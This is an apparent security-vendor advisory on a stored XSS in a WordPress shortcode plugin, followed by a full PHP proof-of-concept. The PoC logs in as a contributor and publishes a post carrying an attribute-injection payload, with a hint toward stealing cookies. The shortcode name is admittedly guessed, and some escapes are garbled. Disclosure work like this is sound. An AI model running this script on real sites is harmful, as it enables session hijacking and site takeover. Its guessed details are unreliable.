Atomic Edge analysis of CVE-2026-10024 (metadata-based):
This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the TinyMCE shortcode Addon plugin for WordPress, affecting versions up to and including 1.0.0. The vulnerability resides in the ‘btnrel’ shortcode attribute, which fails to properly sanitize user input and escape output, allowing attackers with contributor-level access or higher to inject arbitrary JavaScript into pages. The CVSS score of 6.4 (Medium) reflects the authenticated nature of the attack and the partial impact on confidentiality and integrity, with no effect on availability.
Root Cause: Based on the CWE-79 classification and the vulnerability description, the root cause is insufficient input sanitization and output escaping in the plugin’s handling of the ‘btnrel’ shortcode attribute. In WordPress, shortcodes often accept attributes that are directly incorporated into HTML without proper escaping. The plugin likely registers a shortcode (e.g., [themebtn] or similar) and processes the ‘btnrel’ attribute by concatenating it into the rendered HTML without using WordPress’s built-in escaping functions like esc_attr() or wp_kses(). This is an inferred conclusion from the CWE and description, as no source code diff is available for confirmation.
Exploitation: An authenticated attacker with contributor-level access can exploit this by creating or editing a post or page and inserting the vulnerable shortcode with a malicious payload in the ‘btnrel’ attribute. For example, the shortcode might be [themebtn btnrel=” onclick=alert(1)”] or [themebtn btnrel=””>alert(document.cookie)”]. When the post is saved, the injected script is stored in the database and executed in the browser of any user viewing the page. The attack does not require any additional user interaction beyond visiting the page. The plugin’s AJAX or REST endpoints are not specifically identified from the metadata, but the attack vector is consistent with WordPress’s shortcode processing during post rendering.
Remediation: The fix requires the plugin developer to implement proper input sanitization and output escaping on the ‘btnrel’ shortcode attribute. Specifically, the plugin should use WordPress’s esc_attr() function when outputting the attribute value in HTML context, and should sanitize input with sanitize_text_field() or similar functions. Additionally, the use of wp_kses_allowed_html() or wp_kses_post() could be applied to restrict allowed HTML tags and attributes. Since no patched version is available, website owners should disable the plugin entirely or replace it with an alternative.
Impact: Successful exploitation allows authenticated attackers with contributor-level privileges to inject arbitrary JavaScript into WordPress pages. This can lead to session hijacking, theft of authentication cookies, defacement of site content, redirection to malicious sites, or execution of actions on behalf of administrators. Given that contributor-level accounts are low-privilege, the attack could propagate to higher-privilege users (e.g., administrators) who view the infected page, resulting in account takeover or full site compromise.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-10024 - TinyMCE shortcode Addon <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'btnrel' Shortcode Attribute
// WARNING: This script is for educational and authorized testing purposes only.
// Use only on systems you own or have explicit permission to test.
echo "[+] Atomic Edge CVE-2026-10024 PoC (metadata-based)nn";
// Configuration - modify these values
$target_url = "http://example.com"; // Target WordPress site URL (no trailing slash)
$username = "contributor"; // WordPress username with contributor role
$password = "contributor_password"; // Password for the above user
// Step 1: Authenticate to WordPress and get cookies
$login_url = $target_url . "/wp-login.php";
$post_data = [
"log" => $username,
"pwd" => $password,
"wp-submit" => "Log In",
"redirect_to" => $target_url . "/wp-admin/",
"testcookie" => 1
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cve_cookies.txt");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, "location:") !== false || strpos($response, "wp-admin") !== false) {
echo "[+] Authentication successful as '{$username}'.n";
} else {
echo "[!] Authentication failed. Check credentials.n";
exit(1);
}
// Step 2: Get a fresh nonce for creating a post via REST API or admin-ajax
// For this PoC, we use the WordPress REST API (requires WP 4.7+)
$nonce_url = $target_url . "/wp-admin/admin-ajax.php?action=rest-nonce";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cve_cookies.txt");
$nonce = curl_exec($ch);
curl_close($ch);
if (!$nonce) {
echo "[!] Could not retrieve REST API nonce. Falling back to manual nonce extraction.n";
// Alternative: fetch the admin page and extract nonce from the page source
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . "/wp-admin/post-new.php");
curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cve_cookies.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$admin_page = curl_exec($ch);
curl_close($ch);
preg_match('/"restNonce":"([^"]+)"/', $admin_page, $matches);
if (isset($matches[1])) {
$nonce = $matches[1];
} else {
echo "[!] Nonce extraction failed. PoC cannot continue.n";
exit(1);
}
}
// Step 3: Create a new post with the malicious shortcode
// Assumed shortcode: [themebtn btnrel="XSS_PAYLOAD"] or similar
$post_title = "CVE-2026-10024 Test Post - " . date("Y-m-d H:i:s");
$payload = '" onclick=alert(1) onmouseover=alert(2) '; // Classic XSS via attribute injection
$post_content = '[themebtn btnrel="' . $payload . '"]Click here[/themebtn]';
$post_body = [
"title" => $post_title,
"content" => $post_content,
"status" => "publish",
"slug" => strtolower(str_replace(" ", "-", $post_title))
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . "/wp-json/wp/v2/posts");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_body));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"Content-Type: application/json",
"X-WP-Nonce: " . $nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cve_cookies.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 201) {
$response_data = json_decode($result, true);
$post_id = $response_data["id"] ?? "unknown";
$post_link = $response_data["link"] ?? "unknown";
echo "[+] Post created successfully!n";
echo "[+] Post ID: {$post_id}n";
echo "[+] Post URL: {$post_link}n";
echo "[+] Payload: " . htmlspecialchars($payload) . "n";
echo "n[!] Visit the post URL as any user (admin, editor, or visitor). The injected script will execute.n";
echo "[!] For a more harmful payload, replace alert(1) with: alert(document.cookie)n";
} else {
echo "[!] Failed to create post. HTTP code: {$http_code}n";
echo "[!] Response: " . substr($result, 0, 500) . "n";
}
// Clean up cookie file
@unlink("/tmp/cve_cookies.txt");
// Note: The exact shortcode name (e.g., [themebtn]) is assumed based on the plugin slug '360crest-themeone-tinymce-shortcodes'.
// If the actual shortcode differs, adjust the $post_content variable accordingly.
?>